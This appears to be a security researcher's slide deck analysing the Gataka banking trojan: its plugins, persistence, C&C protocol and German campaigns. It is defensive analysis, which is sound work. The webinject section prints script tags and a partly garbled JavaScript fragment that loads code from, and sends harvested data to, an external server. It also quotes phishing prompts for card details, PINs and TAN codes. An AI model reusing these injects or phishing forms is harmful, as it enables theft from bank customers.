Reversing banking trojan: an in-depth look into Gataka

Jean-Ian Boutin
ESET
• Background
• Architecture
  • Overview of plugins
• Network Protocol
• Webinject
• Campaigns
Background
Origins

- Aliases: Tatanga, Hermes
- First publicly discussed in 2011 by S21Sec
- Targets mostly European users
What is it?

- Banking trojan
  - Designed to steal all kind of sensitive information through Man-In-The-Browser scheme
  - Regionalized
  - Not very wide spread
- Developed in C++
- Modular architecture similar to SpyEye
- Very verbose, a lot of debug information are sent to Command and Control Server.
- Frequent update with new plugins and plugin versions.
- Several advanced features
Geographic distribution of detection
Business model

- This is not a do-it-yourself kit like SpyEye
- It seems that this kit is private or sold only to selected groups
- Infection vector
  - BlackHole
  - Malicious attachment
Basics
Installation

• Infection vector
  • BlackHole
  • Malicious attachment
• Installation
  • Injection in all processes
• Communications done through IE
Persistence

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>(Default)</td>
<td>REG_SZ</td>
<td>(value not set)</td>
</tr>
<tr>
<td>cltmon.exe</td>
<td>REG_SZ</td>
<td>C:\Windows\System32\cltmon.exe</td>
</tr>
<tr>
<td>Google Update</td>
<td>REG_SZ</td>
<td>&quot;C:\Documents and Settings\Application Data\Google\Update\Google\update.exe&quot;</td>
</tr>
<tr>
<td>LicenseValidator</td>
<td>REG_SZ</td>
<td>C:\Documents and Settings\Administrator\Application Data\TeamViewer(6ADCEAD9-9B27-4951-8E37-C24B8EE6365)\LicenseValidator.exe</td>
</tr>
</tbody>
</table>

My Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Architecture
- HermesCore
  - Communicate with C&C
  - Ability to launch downloaded executable
• Supported browsers
  • Firefox
  • Internet Explorer
  • Opera
  • Maxthon
• Frequent update to support latest browser versions
Communication can now be monitored

- **NextGenFixer**
  - Install filters on particular URLs
- **Webinfect**
  - Inject html/javascript
  - Record videos/screenshots
- **HttpTrafficLogger**
  - Log selected communications to/from specific websites
- **CoreDb**
  - Stores information received from C&C
IEXPLORE – certificate patching
Network Protocol
Topography

Compromised hosts

Proxy servers

C&C
Packet Decomposition

TCP/IP Header

Gataka Header

Encrypted Data

...
• Some basic stuff
  • This pointer usually passed in ecx
  • In object, vtable is at first offset
DEMO4
<table>
<thead>
<tr>
<th>0-7</th>
<th>8-15</th>
<th>16-23</th>
<th>24-31</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>Magic Number</td>
<td></td>
</tr>
<tr>
<td>NW Protocol</td>
<td></td>
<td>Byte mask</td>
<td></td>
</tr>
<tr>
<td>Use xor key</td>
<td></td>
<td>dword1</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>dword2</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Data size</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Uncompressed Data Size</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>XOR key</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>dword6</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>dword7</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>checksum</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>dword9</td>
<td>Bot Id (64 bytes)</td>
</tr>
</tbody>
</table>

- When packets are received from C&C, dword9 is optional and Bot Id is absent.
Send packet - log

[2012-09-07 01:23:39]:[1]:[1.28]:[4]:[.\HermesCore.cpp(2664)] ProcessSendDataMessage: Data Size: 725]:[99]:[C:\Program Files\Internet Explorer\iexplore.exe(316)]
[2012-09-07 01:23:39]:[1]:[1.28]:[4]:[.\UrlMan.cpp(79)] GetUrl: Index: 17]:[0]:[C:\Program Files\Internet Explorer\iexplore.exe(316)]
[2012-09-07 01:23:39]:[1]:[1.28]:[4]:[.\UrlMan.cpp(96)] GetUrl: 17]:[0]:[C:\Program Files\Internet Explorer\iexplore.exe(316)]
[2012-09-07 01:23:39]:[1]:[1.28]:[2]:[.\InetSession.cpp(373)] PostData: Sending Buffer Size: 725]:[0]:[C:\Program Files\Internet Explorer\iexplore.exe(316)]
[2012-09-07 01:23:39]:[1]:[1.28]:[2]:[.\InetSession.cpp(345)] ReceiveResponse: There are 46 bytes receive d]:[0]:[C:\Program Files\Internet Explorer\iexplore.exe(316)]
[2012-09-07 01:23:39]:[1]:[1.28]:[2]:[.\InetSession.cpp(361)] ReceiveResponse: Status: 200]:[0]:[C:\Program Files\Internet Explorer\iexplore.exe(316)]
[2012-09-07 01:23:39]:[1]:[1.28]:[4]:[.\HermesCore.cpp(2596)] ProcessDataSender: Out: 725 In: 46]:[0]:[C:\Program Files\Internet Explorer\iexplore.exe(316)]
[2012-09-07 01:23:39]:[1]:[1.28]:[4]:[.\HermesCore.cpp(2643)] ProcessDataSender: Result: 1]:[0]:[C:\Program Files\Internet Explorer\iexplore.exe(316)]
[2012-09-14 02:34:15]:[1]:[1.28]:[4]:[.\ApiHooker.cpp(64)] Init: 0x7c800000 1 1 1]:[0]:[C:\WINDOWS\Explorer.EXE(1608)]
[2012-09-14 02:34:15]:[1]:[1.28]:[4]:[.\HermesCore.cpp(687)] StartWork: Call]:[1444]:[C:\WINDOWS\Explorer.EXE(1608)]
[2012-09-14 02:34:15]:[1]:[1.28]:[4]:[.\HermesCore.cpp(747)] MainCoreLoop: App Type: 0 IL: 1]:[2]:[C:\WIN DOWS\Explorer.EXE(1608)]
[2012-09-14 02:34:15]:[1]:[1.28]:[1]:[.\HermesCore.cpp(752)] MainCoreLoop: Build: 517]:[183]:[C:\WINDOWS\Explorer.EXE(1608)]
Plugins Storage
Webinject
Webinject

```plaintext
set_url .*
end_url
data_before
</html>
data_end
data_inject
<script src="http://example.com"
</script>
data_end
data_after
data_end
```

Win32/Gataka

```plaintext
set_url */*
data_before
<body> <script>
document.body.style.display = "none";
</script>
data_end
data_after
data_end
```

Win32/SpyEye
Self-contained webinject

Webinject contained in DB

```javascript
set_url...
end_url

data_before

set_url

<script src="https://example.com/llksadladd9y8yds98wy98ydy8ay98dawyd8aw9dty/jk.js"></script>
```

Webinject downloaded from external server

```javascript
var admin_link = "https://example.com/llksadladd9y8yds98wy98ydy8ay98dawyd8aw9dty/jk.js";
var pass = "pass";

function SaveData2() {
  var link = admin_link; // Replace with actual link
  action="addUser_password":"pass"&site="&data=Country="+lang.toUpperCase() + "&"+"urlcode(time)"+"urlencoded(time)"+"VBY1"+"vby_or_input.value;"
  submit_button.style.display = "none";
  wait_img_2.style.display = "none";
  Getdata(link);
  return;
}
```

Injected content

```
For verification purposes you must update your card details.
```

```
Card number
```

```
Verified by Visa Password is incorrect
```

```
Name embossed on card (Exactly as on card)
```

```
Date of birth (mm/dd/yyyy)
```

```
Mother's maiden name
```

```
Social security number
```

```
Driver license number
```

```
Credit / Debit card PIN
```

```
Continue
```
Webinject – Gataka platform communications

```javascript
if (top === self) {^
    var cmzbRepAccNum="_param-cmzbRepAccNum_";^
    var cmzbRepAccName="_param-cmzbRepAccName_";^
    var cmzbRepBlz="_param-cmzbRepBlz_";^
    var cmzbRepComment="_param-cmzbRepComment_";^
    var cmzbRepAmount="_param-cmzbRepAmount_";^
    var cmzbStep="_param-cmzbStep_";^
    var cmzbRepVictimAccNum="_param-cmzbRepVictimAccNum_";^
    var cmzbRepDate="_param-cmzbRepDate_";^
}^
```
Campaigns
Germany – statistics from one campaign

- These statistics were obtained from a C&C
  - Almost 75% of compromised hosts in Germany

Total Hits: 248,468

- Germany: 72.92%
- Unresolved/Unknown: 25.10%
- Israel: 1.51%
- United States: 0.25%
- Sweden: 0.17%
- Canada: 0.05%
- Canada: 0.05%
Germany – Two factor authentication bypass
Confirm your unique digital signature with the help of TAN

The process of data collection for the preparation of unique digital signatures, has been completed. For the installation and use of the UDS, you must specify the TAN. The following notification to the on-line banking will be done with UDS.

Please pay attention entering your TAN: your account will be blocked after 3 failed attempts.

Find the number of the TAN code in your TAN-list. Please enter the corresponding TAN code on your screen.

Please enter the TAN here

<table>
<thead>
<tr>
<th>Sequence Number</th>
<th><em>TEXT</em></th>
</tr>
</thead>
<tbody>
<tr>
<td>Tan code</td>
<td>1</td>
</tr>
</tbody>
</table>

* Required field

Continue
Conclusion
Thank You!

Questions ?